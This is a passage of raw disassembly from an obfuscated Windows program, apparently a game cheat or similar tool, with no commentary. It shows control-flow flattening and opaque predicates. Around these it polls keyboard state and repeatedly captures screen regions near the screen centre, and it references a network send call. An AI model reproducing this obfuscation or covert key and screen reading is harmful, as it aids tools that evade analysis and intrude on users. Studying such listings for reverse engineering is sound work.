cmovne eax, ecx
jmp 0x1404ac53d
mov eax, 0x3195c710
jmp 0x1404ac53d
mov rax, qword [rax]
mov qword [0x140ae7aa0], rax
mov eax, 0x575b18ee
jmp 0x1404ac53d
mov eax, dword [rbp + 0xcc]
mov dword [rbp + 0x13c], eax
mov eax, dword [rbp + 0x12c]
mov byte [rbp + 0x29f], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe5a82bc9
mov ecx, 0x955c8b5e
jmp 0x1404ac530
mov eax, 0xb051b16c
jmp 0x1404ac53d
mov eax, 0x7c67bfc2
jmp 0x1404ac53d
mov eax, 0x3b8055a6
jmp 0x1404ac53d
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
and eax, 0x8000
mov dword [rbp + 0x18], eax
mov eax, 0xd503e29
jmp 0x1404ac53d
cmp byte [rbp + 0x1fc], 0
mov eax, 0xd6a62740
mov ecx, 0x406fcead
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, 0xec15e2f5
jmp 0x1404ac53d
mov al, byte [0x140ae7a0d]
mov byte [rbp + 0x2a7], al
mov eax, 0x2504225b
jmp 0x1404ac53d
mov ecx, dword [rbp + 0x3c]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0xd6a62740
mov ecx, 0x6caaabcd
cmove eax, ecx
mov r10d, 0xee54680f
jmp 0x1404ac53d
mov rsi, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.1403de590
add rsp, 0x20
mov rax, qword [rsi]
mov r14d, 0xcef4daed
mov qword [0x140ae7a30], rax
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov eax, 0xe4de7991
mov r10d, 0xee54680f
jmp 0x1404ac53d
cmp byte [rbp + 0x1ec], 0
mov eax, 0xb880a485
mov ecx, 0x89c14060
cmovne eax, ecx
jmp 0x1404ac53d
mov ecx, dword [0x140ae7d74]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
test ax, ax
sets byte [rbp + 0x1f4]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x530c6149
mov ecx, 0x746c9905
jmp 0x1404ac530
mov qword [rbp + 0x338], rax
lea rcx, [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
sub rsp, 0x20
call fcn.1405a99c0
add rsp, 0x20
mov eax, 0x16178d65
movsd xmm0, qword [rbp + 0x328]
mov r10d, 0xee54680f
nop
cmp eax, 0x16178d65
je 0x1404b8ac3
cmp eax, 0xc38dec3e
jne 0x1404b8ab0
jmp 0x1404b9e1a
mov eax, 0xc38dec3e
jmp 0x1404b8ab0
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0xc4], eax
mov al, byte [rbp + 0x2d3]
mov dword [rbp + 0x124], eax
mov eax, 0xd246adbc
jmp 0x1404ac53d
movabs rax, 0x200000001
mov qword [0x140ae7d8c], rax
mov eax, 0xd163c9e2
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x77bb594d
mov ecx, 0x5f28ebc6
jmp 0x1404ac530
mov al, byte [rbp + 0x2ad]
mov byte [rbp + 0x2fb], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xec78d608
mov ecx, 0x21428168
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb8ae5029
mov ecx, 0x8197954c
jmp 0x1404ac530
mov rax, qword [rax]
mov qword [0x140ae7aa0], rax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86cc4529
mov ecx, 0x791626cc
jmp 0x1404ac530
mov eax, 0x2c2cdc13
jmp 0x1404ac53d
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0xac], eax
mov al, byte [rbp + 0x29d]
mov byte [rbp + 0x2ab], al
mov eax, 0xeb00984f
jmp 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
mov eax, 0xf187581c
jmp 0x1404ac53d
mov eax, dword [rbp + 0x128]
mov byte [rbp + 0x2a2], al
mov eax, dword [rbp + 0xc8]
mov dword [rbp + 0x2cc], eax
mov eax, dword [rbp + 0x2cc]
cmp eax, 0x14
mov eax, 0xf989bb98
mov ecx, 0x68160be6
cmovl eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x499da090
mov ecx, 0x59405bb4
jmp 0x1404ac530
mov eax, 0x76a07875
jmp 0x1404ac53d
mov eax, dword [rbp + 8]
mov dword [rbp + 0xcc], eax
mov al, byte [rbp + 0x2d2]
mov dword [rbp + 0x12c], eax
mov eax, 0x430e4382
jmp 0x1404ac53d
mov eax, dword [rbp + 0x200]
cmp eax, 3
mov eax, 0xacbd2946
mov ecx, 0x90cd30a2
cmovl eax, ecx
jmp 0x1404ac53d
mov dword [0x140ae7d90], 2
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2d952b94
mov ecx, 0x451e20d9
jmp 0x1404ac530
mov eax, 0x3c147667
jmp 0x1404ac53d
mov al, byte [rbp + 0x2d2]
mov byte [rbp + 0x2a8], al
mov eax, 0x89106779
jmp 0x1404ac53d
mov eax, dword [rbp + 4]
cmp eax, 0xffffffff
mov eax, 0x15cb31ee
mov ecx, 0xc5878267
cmove eax, ecx
jmp 0x1404ac53d
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1404aae60
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x95b0cd28
jmp 0x1404ac53d
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x320], rax
add rax, 4
mov ecx, 0xe8b13a1e
cmp ecx, 0xe8b13a1d
jle 0x1404b8d40
cmp ecx, 0x3cf96e32
je 0x1404b8d55
cmp ecx, 0xef5ea6e1
je 0x1404b8d69
cmp ecx, 0xe8b13a1e
jne 0x1404b8d00
mov rcx, qword [rbp + 0x320]
mov dword [rcx], 0
mov qword [rbp + 0x2d8], rax
mov ecx, 0xdce2d48c
jmp 0x1404b8d00
cmp ecx, 0xdce2d48c
je 0x1404b8d91
cmp ecx, 0xe481fd3d
jne 0x1404b8d00
jmp 0x1404b9e6a
mov rcx, qword [rbp + 0x2d8]
mov dword [rcx], 0
mov ecx, 0xef5ea6e1
jmp 0x1404b8d00
mov rcx, qword [rbp + 0x2d8]
mov dword [rcx], 0
mov ecx, dword [0x140ae0d70]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x3cf96e32
mov edx, 0xe481fd3d
jmp 0x1404b8daa
mov ecx, dword [0x140ae0d70]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x3cf96e32
mov edx, 0xef5ea6e1
cmove ecx, edx
cmp dword [0x140ae0d74], 0xa
cmovl ecx, edx
jmp 0x1404b8d00
mov byte [0x140ae76d8], 0
mov eax, 0x784c86a0
jmp 0x1404ac53d
mov dword [0x140ae7d78], 0x12
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd5888b56
mov ecx, 0x42a61c3d
jmp 0x1404ac530
mov eax, 0x12d3edfb
jmp 0x1404ac53d
mov al, byte [rbp + 0x2a4]
mov byte [rbp + 0x2b1], al
mov eax, 0x7cac7fa0
jmp 0x1404ac53d
mov eax, 0x1efe071e
jmp 0x1404ac53d
mov eax, dword [rbp + 0x27c]
test ax, ax
sets byte [rbp + 0x1e7]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6bc17eaa
mov ecx, 0xf76b9046
jmp 0x1404ac530
cmp byte [0x140ae7d42], 0
setne byte [rbp + 0x1f7]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfd65727
mov ecx, 0xdbf6cee
jmp 0x1404ac530
mov eax, 0x66ff3b4a
jmp 0x1404b9d26
mov eax, 0xfef17c6b
jmp 0x1404ac53d
cmp byte [rbp + 0x1f6], 0
mov eax, 0x9cdc77eb
mov ecx, 0x1a7da90e
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e206c61
mov ecx, 0x1febd4e3
jmp 0x1404b930e
mov eax, 0x7c67bfc2
jmp 0x1404ac53d
mov eax, 0x841ab3f7
jmp 0x1404ac53d
cmp dword [rbp + 0x18], 0
mov eax, 0x48d0e0b
mov ecx, 0xf1e70fd4
cmove eax, ecx
mov ecx, dword [rbp + 0xa8]
mov dword [rbp + 0x120], ecx
jmp 0x1404ac53d
mov dword [0x140ae7d8c], 6
mov eax, 0xaef3ead6
jmp 0x1404ac53d
cmp byte [0x140ae7d43], 0
setne byte [rbp + 0x1ef]
mov eax, 0x8184c339
jmp 0x1404ac53d
mov eax, dword [rbp + 0x13c]
add eax, 1
mov dword [rbp + 8], eax
mov eax, 0x797cf2f6
jmp 0x1404ac53d
mov al, byte [rbp + 0x2a2]
mov byte [rbp + 0x2ac], al
mov eax, 0xa99fc9cc
jmp 0x1404ac53d
mov rdx, qword [rbp - 0x50]
sub rsp, 0x20
lea rcx, [0x140ae7aa0]
call fcn.1404a7990
add rsp, 0x20
movss xmm0, dword [0x140ae7aa0]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
nop word cs:[rax + rax]
nop
cmp eax, 0x712871f8
je 0x1404b8fa3
cmp eax, 0x77be9b2c
jne 0x1404b8f90
jmp 0x1404b9e86
mov eax, 0x77be9b2c
jmp 0x1404b8f90
mov eax, dword [rbp + 0x2cc]
lea eax, [rax + rax*4]
shl eax, 2
add eax, dword [rbp + 0x2f4]
shl eax, 2
cdqe
mov qword [rbp - 0x70], rax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce5323b5
mov ecx, 0xcc1725d3
jmp 0x1404ac530
mov rax, qword [rbp - 0x40]
mov eax, 0xbfb4b73e
jmp 0x1404ac53d
sub rsp, 0x20
call fcn.1404a8ca0
call fcn.1404a9880
call fcn.1404ab1a0
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x36c225af
jmp 0x1404ac53d
mov dword [0x140ae7d74], 1
mov eax, 0xa6071712
jmp 0x1404ac53d
mov eax, 0x3195c710
jmp 0x1404ac53d
mov dword [0x140ae7aac], 0
mov eax, 0xe162120e
jmp 0x1404ac53d
mov al, byte [rbp + 0x29e]
mov byte [rbp + 0x2a9], al
mov eax, 0x8c1573e4
jmp 0x1404ac53d
ucomisd xmm11, qword [rbp + 0x70]
setae byte [rbp + 0x1f5]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x420388e9
mov ecx, 0xcb81428a
jmp 0x1404ac530
cvttss2si eax, dword [0x140ae7d5c]
mov dword [rbp + 0x254], eax
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov ecx, dword [0x140ae77ec]
sub ecx, dword [rbp + 0x254]
mov eax, ecx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x140ae77e8]
sub ecx, dword [rbp + 0x254]
sar eax, 1
mov edx, ecx
shr edx, 0x1f
add edx, ecx
sar edx, 1
mov ecx, dword [rbp + 0x254]
mov dword [rbp + 0xe0], edx
lea rdx, [rbp + 0xe4]
mov qword [rbp + 0x320], rdx
mov edx, 0x7677a1e3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x64414d30
jle 0x1404b9140
cmp edx, 0x64414d31
je 0x1404b9155
cmp edx, 0x6b34eb96
je 0x1404b919d
cmp edx, 0x7677a1e3
jne 0x1404b9100
mov edx, dword [0x140ae95a8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x10ede4c7
mov ebx, 0x64414d31
jmp 0x1404b918b
cmp edx, 0x10ede4c7
je 0x1404b91a7
cmp edx, 0x5d6e6b5a
jne 0x1404b9100
jmp 0x1404b9eda
mov rdx, qword [rbp + 0x320]
mov dword [rdx], eax
mov dword [rbp + 0xe8], ecx
lea rdx, [rbp + 0xec]
mov qword [rbp + 0x2d8], rdx
mov edx, dword [0x140ae95a8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x10ede4c7
mov ebx, 0x6b34eb96
cmove edx, ebx
cmp dword [0x140ae95ac], 0xa
cmovl edx, ebx
jmp 0x1404b9100
mov edx, 0x5d6e6b5a
jmp 0x1404b9100
mov rdx, qword [rbp + 0x320]
mov dword [rdx], eax
mov dword [rbp + 0xe8], ecx
mov edx, 0x64414d31
jmp 0x1404b9100
mov eax, 0x841ab3f7
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9afa24eb
mov ecx, 0x9407bcf8
jmp 0x1404ac530
mov eax, 0x8fac6c43
jmp 0x1404ac53d
mov byte [0x140ae7a99], 0
mov eax, 0x20d00e5
jmp 0x1404ac53d
mov eax, dword [0x140ad7690]
mov dword [rbp + 4], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2aa366ca
mov ecx, 0xb3d51753
jmp 0x1404ac530
mov eax, dword [rbp + 0x13c]
cmp eax, 5
setl byte [rbp + 0x1ea]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe5a82bc9
mov ecx, 0xf1189587
jmp 0x1404ac530
mov dword [0x140ae7d78], 5
mov eax, 0x24e2ebe6
jmp 0x1404ac53d
mov rax, qword [rbp + 0x68]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x83d64b63
mov ecx, 0x739110c9
jmp 0x1404ac530
mov eax, dword [rbp + 0x1c8]
mov eax, dword [rbp + 0x1c8]
mov eax, 0x9776a89c
jmp 0x1404ac53d
mov dword [0x140ae7d90], 6
mov eax, 0x39e9039f
jmp 0x1404ac53d
test byte [rbp + 0x1fd], 1
mov eax, 0x714452e1
mov ecx, 0xacbe7db4
cmove eax, ecx
jmp 0x1404ac53d
mov eax, 0x67d69fbe
jmp 0x1404ac53d
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1404aae60
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2c7e4b44
mov ecx, 0xf8c6beb4
cmove eax, ecx
cmp dword [0x140ae958c], 0xa
cmovl eax, ecx
jmp 0x1404b9d26
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0x144], eax
mov eax, dword [rbp + 0x148]
or eax, dword [rbp + 0x144]
setne byte [rbp + 0x1f0]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fc81476
mov ecx, 0x5ec21e4c
jmp 0x1404ac530
mov qword [rbp + 0x290], rsp
mov rax, qword [rbp + 0x2d8]
mov dword [rax], reloc.WS2_32.dll_sendto
mov eax, dword [0x140ae95b8]
mov ecx, dword [0x140ae95bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x2b8]
cmp ecx, 0xa
setl byte [rbp + 0x288]
mov eax, 0x8dcaec4b
jmp 0x1404b93e6
mov eax, dword [rbp + 0xf8]
mov ecx, dword [rbp + 0xfc]
mov dword [rbp + 0x310], eax
mov dword [rbp + 0x328], ecx
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xce8da613
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
cmp eax, 0xe5440bd6
jg 0x1404b9450
cmp eax, 0xce8da612
jg 0x1404b94a0
cmp eax, 0x8dcaec4b
je 0x1404b96ff
cmp eax, 0xade06e18
je 0x1404b93a8
cmp eax, 0xae106c03
jne 0x1404b93e6
mov eax, Ordinal_50
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x338], rax
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0edb28f
mov ecx, 0x17ff2cd5
jmp 0x1404b93d9
cmp eax, 0x17ff2cd4
jle 0x1404b94df
cmp eax, 0x17ff2cd5
je 0x1404b9723
cmp eax, 0x3c1c9c4b
je 0x1404b972d
cmp eax, 0x52057cfc
jne 0x1404b93e6
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xba0bf4a
jmp 0x1404b93d9
cmp eax, 0xce8da613
je 0x1404b994f
cmp eax, 0xd0edb28f
je 0x1404b9959
cmp eax, 0xde075710
jne 0x1404b93e6
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xade06e18
jmp 0x1404b93d9
cmp eax, 0xa74c245
je 0x1404b9963
cmp eax, 0xba0bf4a
jne 0x1404b9b10
mov edi, dword [rbp + 0xf0]
mov ebx, dword [rbp + 0xf4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r15, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea rbx, [0x140ae7ab8]
mov rcx, rbx
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rdi, qword [rbp + 0x338]
mov qword [rbp + 0x320], rbx
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop word cs:[rax + rax]
cmp edx, 0x53fdee65
jle 0x1404b96e0
cmp edx, 0x78fdf0e2
je 0x1404b96f4
cmp edx, 0x70f23573
je 0x1404b996d
cmp edx, 0x53fdee66
jne 0x1404b96a0
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404b96a0
cmp edx, 0x114fb429
je 0x1404b96fb
cmp edx, 0x51c78c87
jne 0x1404b96a0
mov edx, eax
jmp 0x1404b96a0
mov edx, 0x51c78c87
jmp 0x1404b96a0
mov edx, ecx
jmp 0x1404b96a0
mov cl, byte [rbp + 0x2b8]
cmp byte [rbp + 0x288], 0
mov eax, 0xd0edb28f
mov edx, 0xae106c03
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1404b93e6
mov eax, 0xde075710
jmp 0x1404b93e6
mov edi, dword [rbp + 0xf0]
mov esi, dword [rbp + 0xf4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rbx, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r15, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea r14, [0x140ae7ab8]
mov rcx, r14
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rdi, qword [rbp + 0x338]
mov qword [rbp + 0x320], r14
mov r14d, 0xcef4daed
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop dword [rax]
cmp edx, 0x53fdee65
jle 0x1404b9930
cmp edx, 0x78fdf0e2
je 0x1404b9944
cmp edx, 0x70f23573
je 0x1404b9a52
cmp edx, 0x53fdee66
jne 0x1404b98f0
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404b98f0
cmp edx, 0x114fb429
je 0x1404b994b
cmp edx, 0x51c78c87
jne 0x1404b98f0
mov edx, eax
jmp 0x1404b98f0
mov edx, 0x51c78c87
jmp 0x1404b98f0
mov edx, ecx
jmp 0x1404b98f0
mov eax, 0x52057cfc
jmp 0x1404b93e6
mov eax, 0xae106c03
jmp 0x1404b93e6
mov eax, 0xade06e18
jmp 0x1404b93e6
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
call rbx
add rsp, 0x20
mov rcx, rsi
mov rdx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xe5440bd7
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
jmp 0x1404b93e6
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rbx
mov rdx, r13
xor r8d, r8d
mov rsi, qword [sym.imp.GDI32.dll_GetDIBits]
call rsi
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r13
xor r8d, r8d
call rsi
add rsp, 0x20
mov rcx, rbx
mov rdx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0xba0bf4a
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
jmp 0x1404b93e6
cmp eax, 0xe5440bd7
jne 0x1404b93e6
mov dword [rbp + 0x128], 0
mov rsp, qword [rbp + 0x290]
mov dword [rbp + 0xc8], 0
mov eax, 0xae84c91b
jmp 0x1404ac53d
mov qword [rbp + 0x338], rax
lea rcx, [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
sub rsp, 0x20
call fcn.1405a99c0
add rsp, 0x20
mov eax, 0x16178d65
movsd xmm0, qword [rbp + 0x328]
mov r10d, 0xee54680f
nop dword [rax]
cmp eax, 0x16178d65
je 0x1404b9b93
cmp eax, 0xc38dec3e
jne 0x1404b9b80
jmp 0x1404ba69c
mov eax, 0xc38dec3e
jmp 0x1404b9b80
mov qword [rbp + 0x338], rax
lea rcx, [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
sub rsp, 0x20
call fcn.1405a99c0
add rsp, 0x20
mov eax, 0x16178d65
movsd xmm0, qword [rbp + 0x328]
mov r10d, 0xee54680f
nop word cs:[rax + rax]
cmp eax, 0x16178d65
je 0x1404b9bf3
cmp eax, 0xc38dec3e
jne 0x1404b9be0
jmp 0x1404ba6ea
mov eax, 0xc38dec3e
jmp 0x1404b9be0
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140ae77ec]
mov ecx, eax
add ecx, 0xfffffffb
shr ecx, 0x1f
add eax, ecx
add eax, 0xfffffffb
sar eax, 1
mov ecx, dword [0x140ae77e8]
mov edx, ecx
add edx, 0xfffffffb
shr edx, 0x1f
add edx, ecx
add edx, 0xfffffffb
sar edx, 1
mov rcx, qword [rbp + 0x80]
mov dword [rcx], edx
lea rdx, [rcx + 4]
mov qword [rbp + 0x320], rdx
lea rdx, [rcx + 0xc]
mov ebx, 0x7677a1e3
cmp ebx, 0x64414d30
jle 0x1404b9ca0
cmp ebx, 0x64414d31
je 0x1404b9cb5
cmp ebx, 0x6b34eb96
je 0x1404b9cfd
cmp ebx, 0x7677a1e3
jne 0x1404b9c50
mov ebx, dword [0x140ae95a8]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov edi, 0xda384f69
mov ebx, 0x10ede4c7
mov esi, 0x64414d31
jmp 0x1404b9ceb
cmp ebx, 0x10ede4c7
je 0x1404b9d07
cmp ebx, 0x5d6e6b5a
jne 0x1404b9c50
